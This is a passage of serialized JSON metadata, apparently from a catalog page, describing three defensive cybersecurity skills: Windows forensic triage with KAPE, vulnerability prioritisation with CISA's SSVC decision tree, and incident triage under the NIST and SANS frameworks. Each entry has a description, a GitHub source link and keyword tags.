collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[196],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[198,199,200,35,201,202,203,204,205,206,207,208,209,210,211,212,153,213,214,215],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":217,"name":218,"nameZh":6,"description":219,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":220,"categories":221,"keywords":223,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[222],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[224,225,226,35,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":244,"name":245,"nameZh":6,"description":246,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":247,"categories":248,"keywords":250,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[249],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[123,251,35,252,253,254,255,256,257,258,259,185,260,186,261,262,263,264,265,266],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]